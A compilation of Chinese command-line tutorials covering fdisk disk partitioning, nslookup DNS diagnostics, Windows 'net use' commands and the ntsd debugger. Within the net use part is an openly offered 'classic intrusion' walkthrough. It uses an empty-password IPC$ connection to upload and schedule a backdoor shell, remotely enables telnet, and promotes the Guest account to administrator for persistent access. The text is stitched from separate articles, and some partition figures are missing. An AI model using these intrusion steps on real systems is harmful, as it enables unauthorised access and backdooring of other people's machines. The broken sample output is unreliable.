Linux说明:硬盘分区的表示:在Linux 是通过hd*x 或 sd*x 表示的,其中 * 表示的是a、b、c && && x表示的数字 1、2、3 && && hd大多是IDE硬盘;sd大多是SCSI或移动存储;引导(Boot):表示引导分区,在上面的例子中 hda1 是引导分区;Start (开始):表示的一个分区从X cylinder(磁柱)开始;End (结束):表示一个分区到 Y cylinder(磁柱)结束;id和System 表示的是一个意思,id看起来不太直观,我们要在fdisk 一个分区时,通过指定id来确认分区类型;比如 7表示的就NTFS 分区;这个在fdisk 中要通过t功能来指定。下面的部份会提到;Blocks(容量):这是我翻译的,其实不准确,表示的意思的确是容量的意思,其单位是K;一个分区容量的值是由下面的公式而来的;Blocks = (相应分区End数值 - 相应分区Start数值)x 单位cylinder(磁柱)的容量所以我们算一下 hda1的 Blocks 的大小 :hda1 Blocks=(765-1)x4113.92 K = M注:换算单位以硬盘厂家提供的10进位算起,如果以操作系统二进制来算,这个分区容量应该更少一些,得出的这个值和我们通过 fdisk -l 看到的 /dev/hda1的值是大体相当的,因为换算方法不一样,所以也不可能尽可能的精确;再加上分区时的一点损失之类,有时或大或小是存在的;我们查看分区大小或者文件的时候,还是用十进制来计算比较直观;推算办法是 byte 向前推小数点三位就是K ,K单位的值向前推小数点三位就是M,M向前推小数点三位就是G&& && 一般也差不了多少;这么算就行;3、估算一个存储设备是否被完全划分;我们估算一个硬盘是否完全被划分,我们只要看 fdisk -l 输出的内容中的 cylinders(柱体) 上一个分区的End 和下一个分区的Start是不是一个连续的数字,另外要看一下每个硬盘设备的fdisk -l 的开头部份,看一下他的 cylinders(柱体)的值;比如hda设备,我们看到的是 9729 cylinders ;我们通过 hda的分区表可以看到上一个分区的End的值+1 就是下一个分区的Start 的值;比如 hda2的Start的值是 hda1 的End 的值+1,这证明 hda1 和hda2 中间没有空白分区,是连续的,以此类推;在 hda10,我们看到 End 的值是9729 ,而在fdisk -l头部信息中也有9729 cylinders,证明这个硬盘已经完全划分;Disk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
Linux/dev/sda6 51 76
Linux我们再看看 sda 移动储是不是被完全划分了;sda有 125个cylinders (柱体),有一个主分区和一个扩展分区构成;在扩展分区中,我们看到End的值为125,而这个移动硬盘的cylinder也是125,这能说明这个硬盘不可能再添加任何主分区了;根据我们上面所说的 sda1 sda2 sda5 sda6 之间未有任何未划分空间,但sda6 的cylinders (柱体)的End值却是 76 ,而 sda总的cylinders (柱体)有125个,由此看来sda 在 sda6后面有未划分区域;至于sda 有多少未划分空间,我们算一下就知道了;扩展分区总容量是 806400 K ,大约是 806.400M左右,而逻辑分区 sda5 和sda6 的大小加起来是 400M左右,所以还仍有400M左右未划分空间,并且只能划分为链逻辑分区;四、fdisk 对硬盘及分区的操作,进入fdisk 对硬盘操作阶段;我们可以对硬盘进行分区操作,前提是您把fdisk -l 弄明白了;通过fdisk -l ,我们能找出机器中所有硬盘个数及设备名称;比如上面的例子,我们会看到两个设备一个是/dev/hda ,另一个是/dev/sda ;fdisk 操作硬盘的命令格式如下:[root@localhost beinan]# fdisk 设备比如我们通过 fdisk -l 得知 /dev/hda 或者 /dev/sda设备;我们如果想再添加或者删除一些分区,可以用[root@localhost beinan]# fdisk /dev/hda或[root@localhost beinan]# fdisk /dev/sda注 在以后的例子中,我们要以 /dev/sda设备为例,来讲解如何用fdisk 来操作添加、删除分区等动作;1、fdisk 的说明;当我们通过 fdisk 设备,进入相应设备的操作时,会发现有如下的提示;以 fdisk /dev/sda 设备为例,以下同;[root@localhost beinan]# fdisk /dev/sdaCommand (m for help): 在这里按m ,就会输出帮助;Command actiona toggle a bootable flagb edit bsd disklabelc toggle the dos compatibility flagd delete a partition 注:这是删除一个分区的动作;l list known partition types 注:l是列出分区类型,以供我们设置相应分区的类型;m print this menu 注:m 是列出帮助信息;n add a new partition 注:添加一个分区;o create a new empty DOS partition tablep print the partition table 注:p列出分区表;q quit without saving changes 注:不保存退出;s create a new empty Sun disklabelt change a partition's system id 注:t 改变分区类型;u change display/entry unitsv verify the partition tablew write table to disk and exit 注:把分区表写入硬盘并退出;x extra functionality (experts only) 注:扩展应用,专家功能;其实我们常用的只有注有中文的,其它的功能我们不常用(呵,主要是我不会用,否则早会卖弄一下了);x扩展功能,也不是常用的;一般的情况下只要懂得 d l m p q t w 就行了;下面以实例操作来详述,没有例子没有办法就,新手也看不懂;2、列出当前操作硬盘的分区情况,用p;Command (m for help): pDisk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
Linux/dev/sda6 51 76
Linux3、通过fdisk的d指令来删除一个分区;Command (m for help): p 注:列出分区情况;Disk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
Linux/dev/sda6 51 76
LinuxCommand (m for help): d 注:执行删除分区指定;Partition number (1-6): 6 注:我想删除 sda6 ,就在这里输入 6 ;Command (m for help): p 注:再查看一下硬盘分区情况,看是否删除了?Disk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
LinuxCommand (m for help):警告:删除分区时要小心,请看好分区的序号,如果您删除了扩展分区,扩展分区之下的逻辑分区都会删除;所以操作时一定要小心;如果知道自己操作错了,请不要惊慌,用q不保存退出;切记切记!!!!在分区操作错了之时,千万不要输入w保存退出!!!4、通过fdisk的n指令增加一个分区;Command (m for help): pDisk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
LinuxCommand (m for help): n 注:增加一个分区;Command actionl logical (5 or over) 注:增加逻辑分区,分区编号要大于5;为什么要大于5,因为已经有sda5了;p primary partition (1-4) 注:增加一个主分区;编号从 1-4 ;但sda1 和sda2都被占用,所以只能从3开始;pPartition number (1-4): 3No free sectors available 注:失败中,为什么失败?注:我试图增加一个主分区,看来是失败了,为什么失败?因为我们看到主分区+扩展分区把整个磁盘都用光了,看扩展分区的End的值,再看一下 p输出信息中有125 cylinders;最好还是看前面部份;那里有提到;所以我们只能增加逻辑分区了;Command (m for help): nCommand actionl logical (5 or over)p primary partition (1-4)l 注:在这里输入l,就进入划分逻辑分区阶段了;First cylinder (51-125, default 51): 注:这个就是分区的Start 值;这里最好直接按回车,如果您输入了一个非默认的数字,会造成空间浪费;Using default value 51Last cylinder or +size or +sizeM or +sizeK (51-125, default 125): +200M 注:这个是定义分区大小的,+200M 就是大小为200M ;当然您也可以根据p提示的单位cylinder的大小来算,然后来指定 End的数值。回头看看是怎么算的;还是用+200M这个办法来添加,这样能直观一点。如果您想添加一个10G左右大小的分区,请输入 +10000M ;Command (m for help):5、通过fdisk的t指令指定分区类型;Command (m for help): t 注:通过t来指定分区类型;Partition number (1-6): 6 注:要改变哪个分区类型呢?我指定了6,其实也就是sda6Hex code (type L to list codes):L 注:在这里输入L,就可以查看分区类型的id了;Hex code (type L to list codes): b 注:如果我想让这个分区是 W95 FAT32 类型的,通过L查看得知 b是表示的是,所以输入了b;Changed system type of partition 6 to b (W95 FAT32) 注:系统信息,改变成功;是否是改变了,请用p查看;Command (m for help): pDisk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25 201568+ c W95 FAT32 (LBA)/dev/sda2 26 125
Extended/dev/sda5 26 50
Linux/dev/sda6 51 75 201568+ b W95 FAT326、fdisk 的退出,用q或者 w;其中 q是 不保存退出,w是保存退出;Command (m for help): w或Command (m for help): q7、一个添加分区的例子;本例中我们会添加两个200M的主分区,其它为扩展分区,在扩展分区中我们添加两个200M大小的逻辑分区;Command (m for help): p 注:列出分区表;Disk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id SystemCommand (m for help): n 注:添加分区;Command actione extendedp primary partition (1-4)p 注:添加主分区;Partition number (1-4): 1 注:添加主分区1;First cylinder (1-125, default 1): 注:直接回车,主分区1的起始位置;默认为1,默认就好;Using default value 1Last cylinder or +size or +sizeM or +sizeK (1-125, default 125): +200M 注:指定分区大小,用+200M来指定大小为200MCommand (m for help): n 注:添加新分区;Command actione extendedp primary partition (1-4)p 注:添加主分区Partition number (1-4): 2 注:添加主分区2;First cylinder (26-125, default 26):Using default value 26Last cylinder or +size or +sizeM or +sizeK (26-125, default 125): +200M 注:指定分区大小,用+200M来指定大小为200MCommand (m for help): nCommand actione extendedp primary partition (1-4)e 注:添加扩展分区;Partition number (1-4): 3 注:指定为3 ,因为主分区已经分了两个了,这个也算主分区,从3开始;First cylinder (51-125, default 51): 注:直接回车;Using default value 51Last cylinder or +size or +sizeM or +sizeK (51-125, default 125): 注:直接回车,把其余的所有空间都给扩展分区;Using default value 125Command (m for help): pDisk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25
Linux/dev/sda2 26 50
Linux/dev/sda3 51 125
ExtendedCommand (m for help): nCommand actionl logical (5 or over)p primary partition (1-4)l 注:添加逻辑分区;First cylinder (51-125, default 51):Using default value 51Last cylinder or +size or +sizeM or +sizeK (51-125, default 125): +200M 注:添加一个大小为200M大小的分区;Command (m for help): nCommand actionl logical (5 or over)p primary partition (1-4)l 注:添加一个逻辑分区;First cylinder (76-125, default 76):Using default value 76Last cylinder or +size or +sizeM or +sizeK (76-125, default 125): +200M 注:添加一个大小为200M大小的分区;Command (m for help): p 列出分区表;Disk /dev/sda: 1035 MB,
bytes256 heads, 63 sectors/track, 125 cylindersUnits = cylinders of 16128 * 512 = 8257536 bytesDevice Boot Start End Blocks Id System/dev/sda1 1 25
Linux/dev/sda2 26 50
Linux/dev/sda3 51 125
Extended/dev/sda5 51 75
Linux/dev/sda6 76 100
Linux然后我们根据前面所说通过t指令来改变分区类型;最后不要忘记w保存退出;五、对分区进行格式化,以及加载;先提示一下;用 mkfs.bfs mkfs.ext2 mkfs.jfs mkfs.msdos mkfs.vfatmkfs.cramfs mkfs.ext3 mkfs.minix mkfs.reiserfs mkfs.xfs 等命令来格式化分区,比如我想格式化 sda6为ext3文件系统,则输入;[root@localhost beinan]# mkfs.ext3 /dev/sda6如果我想加载 sda6到目前系统来存取文件,应该有mount 命令,但首先您得建一个挂载目录;比如 /mnt/sda6 ;[root@localhost beinan]# mkdir /mnt/sda6[root@localhost beinan]# mount /dev/sda6 /mnt/sda6[root@localhost beinan]# df -lhFilesystem 容量 已用 可用 已用% 挂载点/dev/hda8 11G 8.4G 2.0G 81% //dev/shm 236M 0 236M 0% /dev/shm/dev/hda10 16G 6.9G 8.3G 46% /mnt/hda10/dev/sda6 191M 5.6M 176M 4% /mnt/sda6这样我们就能进入 /mnt/sda6目录,然后存取文件了;具体的权限方法,以及mount 更详细的用法,在以后我会专门写一个帖子;在一帖中放下所有的内容实在有点为难;篇三 : Nslookup命令详解 14:46:15标签:Nslookup命令[推送到技术圈]Nslookup显示可用来诊断域名系统 (DNS) 基础结构的信息。[]只有在已安装 TCP/IP 协议的情况下才可以使用 Nslookup 命令行工具。语法nslookup [-SubCommand ...] [{ComputerToFind| [-Server]}]参数-SubCommand ...将一个或多个 nslookup 子命令指定为命令行选项。ComputerToFind如果未指定其它服务器,就使用当前默认 DNS 名称服务器查阅 ComputerToFind 的信息。要查找不在当前 DNS 域的计算机,请在名称上附加句点。-Server指定将该服务器作为 DNS 名称服务器使用。如果省略了 -Server,将使用默认的 DNS 名称服务器。{help|?}显示 nslookup 子命令的简短总结。注释如果 ComputerToFind 是 IP 地址,并且查询类型为 A 或 PTR 资源记录类型,则返回计算机的名称。如果 ComputerToFind 是一个名称,并且没有跟踪期,则向该名称添加默认 DNS 域名。此行为取决于下面 set 子命令的状态:domain、srchlist、defname 和 search。如果键入连字符 (-) 代替 ComputerToFind,命令提示符更改为 nslookup 交互式模式。命令行长度必须少于 256 个字符。Nslookup 有两种模式:交互式和非交互式。如果仅需要查找一块数据,请使用非交互式模式。对于第一个参数,键入要查找的计算机的名称或 IP 地址。对于第二个参数,键入 DNS 名称服务器的名称或 IP 地址。如果省略第二个参数,nslookup 使用默认 DNS 名称服务器。如果需要查找多块数据,可以使用交互式模式。为第一个参数键入连字符 (-),为第二个参数键入 DNS 名称服务器的名称或 IP 地址。或者,省略两个参数,则 nslookup 使用默认 DNS 名称服务器。下面是一些有关在交互式模式下工作的提示:要随时中断交互式命令,请按 CTRL+B。要退出,请键入 exit。要将内置命令当作计算机名,请在该命令前面放置转义字符 (\)。将无法识别的命令解释为计算机名。如果查找请求失败,nslookup 将打印错误消息。下表列出可能的错误消息。 错误消息 说明Timed out 重试一定时间和一定次数之后,服务器没有响应请求。可以通过 set timeout 子命令设置超时期。而利用 set retry 子命令设置重试次数。No response from server 服务器上没有运行 DNS 名称服务器。No records 尽管计算机名有效,但是 DNS 名称服务器没有计算机当前查询类型的资源记录。查询类型使用 set querytype 命令指定。Nonexistent domain 计算机或 DNS 域名不存在。Connection refusedorNetwork is unreachable无法与 DNS 名称服务器或指针服务器建立连接。该错误通常发生在 ls 和 finger 请求中。Server failure DNS 名称服务器发现在其数据库中内部不一致而无法返回有效应答。Refused DNS 名称服务器拒绝为请求服务。Format error DNS 名称服务器发现请求数据包的格式不正确。可能表明 nslookup 中存在错误。范例每个命令行选项均由连字符 (-) 后紧跟命令名组成,有时是等号 (=) 后跟一个数值。例如,要将默认的查询类型更改为主机(计算机)信息,并将初始超时更改为 10 秒,请键入:nslookup -querytype=hinfo -timeout=10概要Nslookup.exe 是命令行管理工具,用于测试或解决 DNS 服务器问题。此工具是通过“控制面板”与 TCP/IP 协议一起安装的。本文包含使用 Nslookup.exe 的若干提示。更多信息要使用 Nslookup.exe,请注意以下方面: • TCP/IP 协议必须安装在运行 Nslookup.exe 的计算机上。• 在 Microsoft TCP/IP 属性页的 DNS 选项卡的“DNS 服务搜索顺序”字段中必须至少指定一个 DNS 服务器。• Nslookup 一直从当前上下文中的名称中抽去后缀。如果无法进行完全合格的名称查询(即,使用尾随点),那么查询将被附加到当前上下文中。例如,当前 DNS 设置是 ,并且在中执行查询,那么第一个查询将作为.而失败,因为查询是不合格的。这种方式与其他供应商的 Nslookup 方式可能不一致,本文的目的在于阐明 Microsoft Windows NT Nslookup.exe 的处理方式。• 如果已经使用 Microsoft TCP/IP 属性页 DNS 选项卡上定义的“域后缀搜索顺序”(Domain Suffix Search Order )中的搜索列表,将不会发生抽取操作。查询将被附加到列表中指定的域后缀中。要避免使用搜索列表,请始终使用“完全合格的域名称”(即,在名称中添加尾随点)。Nslookup.exe 可以在两种模式下运行:交互式和非交互式。当需要返回单块数据时,请使用非交互式模式。非交互模式的语法如下:nslookup [-option] [hostname] [server]要在交互模式下启动 Nslookup.exe,只需在命令提示符下输入 nslookup:C:\& nslookupDefault Server: Address: 10.0.0.1&在命令提示符下输入 help 或 ? 将生成可用的命令列表。在命令提示符下输入的任何内容,如果它不是有效命令,则假设它是主机名,尝试使用默认服务器来解析它。要中断交互命令,请按 CTRL+C。要退出交互模式并返回到命令提示符下,并在命令提示符下输入 exit。以下是帮助输出,其中包含选项的完整列表:Commands: (identifiers are shown in uppercase, [] means optional)NAME - print info about the host/domain NAME using defaultserverNAME1 NAME2 - as above, but use NAME2 as serverhelp or ? - print info on common commandsset OPTION - set an option扩展:nslookup / nslookup命令 / nslookup指定dnsall - print options, current server and host[no]debug - print debugging information[no]d2 - print exhaustive debugging information[no]defname - append domain name to each query[no]recurse - ask for recursive answer to query[no]search - use domain search list[no]vc - always use a virtual circuitdomain=NAME - set default domain name to NAMEsrchlist=N1[/N2/.../N6] - set domain to N1 and search list to N1, N2,and so onroot=NAME - set root server to NAMEretry=X - set number of retries to Xtimeout=X - set initial time-out interval to X secondstype=X - set query type (for example, A, ANY, CNAME, MX,NS, PTR, SOA, SRV)querytype=X - same as typeclass=X - set query class (for example, IN (Internet), ANY)[no]msxfr - use MS fast zone transferixfrver=X - current version to use in IXFR transfer requestserver NAME - set default server to NAME, using current default serverlserver NAME - set default server to NAME, using initial serverfinger [USER] - finger the optional NAME at the current default hostroot - set current default server to the rootls [opt] DOMAIN [& FILE] - list addresses in DOMAIN (optional: output toFILE)-a - list canonical names and aliases-d - list all records-t TYPE - list records of the given type (for example, A, CNAME,MX, NS, PTR, and so on)view FILE - sort an 'ls' output file and view it with pgexit - exit the program通过在命令提示符下运行 set 命令,可以在 Nslookup.exe 中设置许多不同的选项。要得到这些选项的完整列表,只需输入 set all。请参见以上内容,在 set 命令下,得到可用选项的打印输出。查找不同的数据类型要在域名空间中查找不同的数据类型,请在命令提示符下使用 set type 或 set q[uerytype] 命令。例如,要查询邮件交换器数据,请输入:C:\& nslookupDefault Server: Address: 10.0.0.1& set q=mx& mailhostServer: Address: 10.0.0.1 MX preference = 0, mail exchanger = internet address = 10.0.0.5&第一次查询是查找远程名称,答案是权威的,但随后的查询是非权威的。第一次查询远程主机时,本地 DNS 服务器与作为该域权威的 DNS 服务器取得联系。然后,本地 DNS 服务器缓存该信息,以便从本地服务器缓存中非权威地回答随后的查询。直接从另一个名称服务器中进行查询要直接查询另一个名称服务器,请使用 server 或 lserver 命令切换到该名称服务器。lserver 命令使用本地服务器得到要切换的服务器地址,而 server 命令使用当前默认服务器得到该地址。例如:C:\& nslookupDefault Server: Address: 10.0.0.1& server 10.0.0.2Default Server: Address: 10.0.0.2&使用 Nslookup.exe 转移整个区域使用 ls 命令,Nslookup 可以用于转移整个区域。查看远程域中的所有主机,这是有用的。ls 命令的语法如下:ls [- a | d | t type] domain [& filename]不带参数使用 ls 命令将返回所有地址和名称服务器数据的列表。-a 参数将返回别名和正式名称,-d 将返回所有数据,而 -t 将按类型进行筛选。例如:&[]. NS server =
NS server = nameserver1 A 10.0.0.1nameserver2 A 10.0.0.2&在 DNS 服务器中可以按块转移区域,以便只有授权的地址和网络才可以执行此操作。如果设置了区域安全,将返回以下错误消息:*** Can't list
.: Query refusedNslookup.exe 的疑难解答默认服务器超时当启动 Nslookup.exe 工具时,以下错误可能出现:*** Can't find server name for address w.x.y.z : Timed out备注: w.x.y.z 是在“DNS 服务搜索顺序”列表中列出的第一个 DNS 服务器。*** Can't find server name for address 127.0.0.1: Timed out第一个错误指出不能连接 DNS 服务器,或者该计算机上的服务没有运行。要解决此问题,启动该服务器上的 DNS 服务,或检查可能存在的连接问题。第二个错误指出在“DNS 服务搜索顺序”列表中还没有定义服务器。要解决此问题,请将有效 DNS 服务器的 IP 地址添加到此列表中。启动 Nslookup.exe 时找不到服务器名启动 Nslookup.exe 工具时,可能出现以下错误:*** Can't find server name for address w.x.y.z: Non-existent domain当没有名称服务器 IP 地址的 PTR 记录时,会出现此错误。当 Nslookup.exe 启动时,它执行反向搜索,以得到默认服务器的名称。如果没有 PTR 数据,则返回此错误消息。要解决此问题,请确保反向搜索区域存在,并包含名称服务器的 PTR 记录。Nslookup 在子域上无法执行当在子域上执行查询或进行区域转移时,Nslookup 可能返回以下错误:扩展:nslookup / nslookup命令 / nslookup指定dns***
can't find .: Non-existent domain*** Can't list domain .: Non-existent domain在 DNS Manager 中,可以在主区域下添加一个新域,这样就创建了一个子域。用这种方法创建子域并不为该域创建一个单独的 db 文件,这样在该域进行查询或在该域进行区域转移时将会产生以上错误。在父域上进行区域转移时将同时列出父域数据和子域数据。要解决此问题,请在 DNS 服务器上为该子域创建一个新主域。以下转自沸腾年代。Nslookup 是一个监测网络中DNS服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在Windows 98中却没有集成这一个工具。Nslookup 必须要安装了TCP/IP 协议的网络环境之后才能使用。现在网络中已经架设好了一台 DNS 服务器,主机名称为 linlin ,它可以把域名www.feitium.net解析为 192.168.0.1 的IP地址,这是我们平时用得比较多的正向解析功能。检测步骤如下:在 Windows 2000 中单击“开始”-&“程序”-&“附件”-&“命令提示符”,在 C:\& 的后面键入 Nslookupwww.feitium.net,“回车”之后即可看到如下结果:Server: linlinAddress: 192.168.0.5Name:www.feitium.netAddress: 192.168.0.1以上结果显示,正在工作的 DNS 服务器的主机名为 linlin ,它的 IP 地址是192.168.0.5 ,而域名www.feitium.net所对应的 IP 地址为 192.168.0.1 。那么,在检测到 DNS 服务器 linlin 已经能顺利实现正向解析的情况下,它的反向解析是否正常呢? 也就是说,能否把IP地址192.168.0.1反向解析为域名www.feitium.net?我们在命令提示符C:\&的后面键入 Nslookup 192.168.0.1 ,得到结果如下:Server: linlinAddress: 192.168.0.5Name:www.feitium.netAddress: 192.168.0.1这说明,DNS 服务器 linlin 的反向解析功能也正常。然而,有的时候,我们键入Nslookupwww.feitium.net,却出现如下结果:Server: linlinAddress: 192.168.0.5*** linlin can't findwww.feitium.net:Non-existent domain这种情况说明网络中DNS服务器 linlin 在工作,却不能实现域名www.feitium.net的正确解析。此时,要分析DNS服务器的配置情况,看是否www.feitium.net这一条域名对应的 IP 地址记录已经添加到了DNS的数据库中。还有的时候,我们键入Nslookupwww.feitium.net,会出现如下结果:*** Can't find server name for domain: No response from server*** Can't findwww.feitium.net: Non-existent domain这时,说明测试主机在目前的网络中,根本没有找到可以使用的 DNS 服务器。此时,我们要对整个网络的连通性作全面的检测,并检查DNS服务器是否处于正常工作状态,采用逐步排错的方法,找出 DNS 服务不能启动的根源。扩展:nslookup / nslookup命令 / nslookup指定dns篇四 : net use命令详解1)建立空连接:net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)2)建立非空连接:net use \\IP\ipc$ "密码" /user:"用户名" (同样有3个空格)3)映射默认共享:net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$4)删除一个ipc$连接net use \\IP\ipc$ /del5)删除共享映射net use c: /del 删除映射的c盘,其他盘类推net use * /del 删除全部,会有提示要求按y确认3 查看远程主机的共享资源(但看不到默认共享)net view \\IP4 查看本地主机的共享资源(可以看到本地的默认共享)net share5 得到远程主机的用户名列表nbtstat -A IP6 得到本地主机的用户列表net user7 查看远程主机的当前时间net time \\IP8 显示本地主机当前服务net start9 启动/关闭本地服务net start 服务名 /ynet stop 服务名 /y10 映射远程共享:net use z: \\IP\baby此命令将共享名为baby的共享资源映射到z盘11 删除共享映射net use c: /del 删除映射的c盘,其他盘类推net use * /del /y删除全部12 向远程主机复制文件copy \路径\srv.exe \\IP\共享目录名,如:copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内13 远程添加计划任务at \\ip 时间 程序名,如:at \\127.0.0.0 11:00 love.exe注意:时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径14 开启远程主机的telnet这里要用到一个小程序:opentelnet.exe,各大下载站点都有,而且还需要满足四个要求:1)目标开启了ipc$共享2)你要拥有管理员密码和帐号3)目标开启RemoteRegistry服务,用户就该ntlm认证4)对WIN2K/XP有效,NT未经测试命令格式:OpenTelnet.exe \\server account psw NTLM认证方式 port试例如下:c:\&OpenTelnet.exe \\*.*.*.* administrator "" 1 9015 激活用户/加入管理员组1 net uesr account /active:yes2 net localgroup administrators account /add16 关闭远程主机的telnet同样需要一个小程序:ResumeTelnet.exe命令格式:ResumeTelnet.exe \\server account psw试例如下:c:\&ResumeTelnet.exe \\*.*.*.* administrator ""17 删除一个已建立的ipc$连接net use \\IP\ipc$ /del九 经典入侵模式这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)1. C:\&net use \\127.0.0.1\IPC$ "" /user:"admintitrators"这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。复制之前务必用net view \\IP这个命令看一下对方的共享情况2. C:\&copy srv.exe \\127.0.0.1\admin$先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。3. C:\&net time \\127.0.0.1查查时间,发现127.0.0.1 的当前时间是
上午 11:00,命令成功完成。4. C:\&at \\127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)5. C:\&net time \\127.0.0.1再查查到时间没有?如果127.0.0.1 的当前时间是
上午 11:05,那就准备开始下面的命令。6. C:\&telnet 127.0.0.1 99这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了7.C:\&copy ntlm.exe \\127.0.0.1\admin$用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。8. C:\WINNT\system32&ntlm输入ntlm启动(这里的C:\WINNT\system32&指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组10. C:\&net user guest /active:yes将对方的Guest用户激活11. C:\&net user guest 1234将Guest的密码改为1234,或者你要设定的密码12. C:\&net localgroup administrators guest /add将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)另外,你也可以根据返回的错误号分析原因:错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限;错误号51,Windows无法找到网络路径:网络有问题;错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);错误号67,找不到网络名:你的lanmanworkstation服务未启动或者目标删除了ipc$;错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连;错误号1326,未知的用户名或错误密码:原因很明显了;错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动;错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码在使用这种方法屏蔽网络映射功能时,只需要先打开系统的运行对话框,并在其中执行“cmd”字符串命令,将系统界面切换到MS-DOS命令行状态;接着在DOS提示符下执行“net use x:/del”字符串命令,就能将网络磁盘分区为“X”的网络映射连接断开了,要想快速地将本地计算机中所有的网络映射连接断开的话,只需要执行“net use * /del”字符串命令就可以了。篇五 : NTSD命令详解NTSD命令详解Process File: ntsd.exeProcess Name: Symbolic Debugger for WindowsDescription: ntsd.exe is a process belonging to the Microsoft symbolic debugger that enables you to debug user-mode applications. This program is non-essential process to the running of the system, but should not be terminated unless suspected to be causing problems. Recommendation: Should not be disabled, required for essential applications to work properly.Author: MicrosoftPart of: Microsoft Windows Operating文件细节文件道路: C:\WINDOWS\system32 \ ntsd.exe文件日期:
14:00:00版本: 5.1.2600.0文件大小: 31.744 字节检查和和文件hashesCRC32: 6D35F411MD5: 8F0A 81E2
A4FD 5615 2CAE B88CSHA1: 60B8 B14E 2D9E A685 4A08 AF82 880C 4116 CE1D C10D版本资源信息公司名称: Microsoft Corporation文件描述: Symbolic Debugger for Windows 2000文件操作系统: Windows NT, Windows 2000, Windows XP, Windows 2003文件类型: Application文件版本: 5.1.2600.0内部名: NTSD.Exe法律版权: ? Microsoft Corporation. All rights reserved.原始的文件名: NTSD.Exe产品名称: Microsoft? Windows? Operating System产品版本: 5.1.2600.0--------------------------------------------------------------------------------1. ntsd -c q -p PID2. ntsd -c q -pn ImageName 比如:ntsd -c q -pn qq.exe- c是表示执行debug命令q表示执行结束后退出(quit)-p 表示后面紧跟着是你要结束的进程对应的PID-pn 表示后面紧跟着是你要结束的进程名(process_name.exe 比如:QQ.exe,explorer.exe 等等,值得注意的是后缀名.exe是不可省略的,否则系统会告诉你“不支持此接口”)只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限,从而能杀掉大部分的进程。-------------------------------------------------------------------------------- 使用NTSD远程调试程序:NTSD 调试程序在启动时要求用户指定一个要连接的进程。使用 TLIST 或 PVIEWER,您可以获得某个现有进程的进程 ID,然后键入 NTSD -p pid 来调试这个进程。NTSD 命令行使用如下的句法: NTSD [options] imagefile其中,imagefile 是要调试的映像名称,options 是下面选项之一:表 1. NTSD 映像文件选项选项 说明-2 